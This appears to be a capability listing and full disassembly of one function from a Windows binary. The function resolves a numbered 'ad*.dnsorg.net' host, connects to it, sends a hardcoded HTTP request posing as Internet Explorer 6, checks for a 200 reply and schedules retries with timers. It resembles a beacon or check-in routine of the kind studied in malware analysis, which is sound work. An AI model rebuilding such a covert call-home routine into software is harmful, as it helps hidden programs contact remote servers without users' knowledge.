Function at 0x417190
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create raw socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x42bdec
push eax
mov eax, 0x10ac
mov dword fs:[0], esp
call fcn.0042a8a0
push ebx
push ebp
mov ebp, ecx
push esi
push edi
mov ax, word [ebp + 6]
test ax, ax
je 0x417478
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
lea ecx, [esp + 0x38]
movsx eax, ax
push eax
push str.ad_d.dnsorg.net
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x38]
lea eax, [esp + 0xb8]
push edx
push str.http:___s_main_ad.html
push eax
call esi
mov cl, byte [esp + 0x1f]
add esp, 0xc
mov byte [esp + 0x14], cl
lea ecx, [esp + 0x14]
push 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea edi, [esp + 0xb8]
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
lea ecx, [esp + 0x18]
push ebx
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x417250
mov edi, dword [esp + 0x18]
mov ecx, ebx
mov edx, ecx
lea esi, [esp + 0xb8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Eos_unsigned_int_]
lea eax, [esp + 0x6b8]
lea ecx, [esp + 0xb8]
push eax
push ecx
mov ecx, ebp
mov dword [esp + 0x10cc], 0
call fcn.00416d30
movsx edx, byte [esp + 0xab8]
mov ebx, dword [esp + 0xcb8]
push edx
call dword [sym.imp.MSVCRT.dll_isalpha]
add esp, 4
test eax, eax
je 0x41729f
lea eax, [esp + 0xab8]
push eax
call dword [sym.imp.WSOCK32.dll_gethostbyname]
jmp 0x4172c0
lea ecx, [esp + 0xab8]
push ecx
call dword [sym.imp.WSOCK32.dll_inet_addr]
push 2
lea edx, [esp + 0x38]
push 4
push edx
mov dword [esp + 0x40], eax
call dword [sym.imp.WSOCK32.dll_gethostbyaddr]
test eax, eax
jne 0x4172f9
mov eax, dword [ebp + 0xc]
push 0
push 0x927c0
push 0x274c
mov eax, dword [eax + 0x20]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 1
lea ecx, [esp + 0x18]
mov dword [esp + 0x10c8], 0xffffffff
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
jmp 0x417478
xor ecx, ecx
lea edi, [esp + 0x28]
mov dword [esp + 0x24], ecx
push ebx
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], ecx
mov edx, dword [eax + 0xc]
movsx ecx, word [eax + 0xa]
mov esi, dword [edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ax, word [eax + 8]
mov word [esp + 0x28], ax
call dword [sym.imp.WSOCK32.dll_htons]
push 0
push 1
push 2
mov word [esp + 0x32], ax
call dword [sym.imp.WSOCK32.dll_socket]
lea ecx, [esp + 0x24]
mov esi, eax
push 0x10
push ecx
push esi
call dword [sym.imp.WSOCK32.dll_connect]
cmp eax, 0xffffffff
jne 0x4173a5
mov edx, dword [ebp + 0xc]
push 0
push 0x927c0
push 0x274c
mov eax, dword [edx + 0x20]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push esi
call dword [sym.imp.WSOCK32.dll_closesocket]
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x417478
mov al, byte [ecx - 1]
test al, al
je 0x41746e
cmp al, 0xff
je 0x41746e
dec al
mov byte [ecx - 1], al
jmp 0x417478
lea ecx, [esp + 0xab8]
lea edx, [esp + 0xcba]
push ecx
push edx
lea eax, [esp + 0x2c0]
push str.GET__s_HTTP_1.1_r_nAccept:_image_gif__image_x_xbitmap__image_jpeg__image_pjpeg__application_vnd.ms_excel__application_vnd.ms_powerpoint__application_msword__application_x_shockwave_flash____r_nAccept_Language:_zh_cn_r_nAccept_Encoding:_gzip__deflate_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0__r_nHost:__s_r_nConnection:_Keep_Alive_r_n_r_n
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x2c8]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 0
push ecx
lea ecx, [esp + 0x2c0]
push ecx
push esi
call dword [sym.imp.WSOCK32.dll_send]
cmp eax, 0xffffffff
je 0x417406
push 0
lea edx, [esp + 0x2bc]
push 0x32
push edx
push esi
call dword [sym.imp.WSOCK32.dll_recv]
push 0xf
lea eax, [esp + 0x2bc]
push str.HTTP_1.1_200_OK
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x41744d
mov ecx, dword [ebp + 0xc]
push 0x274c
mov edx, dword [ecx + 0x20]
push edx
call dword [sym.imp.USER32.dll_KillTimer]
mov eax, dword [ebp + 0xc]
push 0
push 0x3e8
push 0x274e
mov ecx, dword [eax + 0x20]
push ecx
call dword [sym.imp.USER32.dll_SetTimer]
push esi
call dword [sym.imp.WSOCK32.dll_closesocket]
mov ecx, dword [esp + 0x18]
test ecx, ecx
je 0x417478
mov al, byte [ecx - 1]
test al, al
je 0x41746e
cmp al, 0xff
je 0x41746e
dec al
mov byte [ecx - 1], al
jmp 0x417478
dec ecx
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov ecx, dword [esp + 0x10bc]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10b8
ret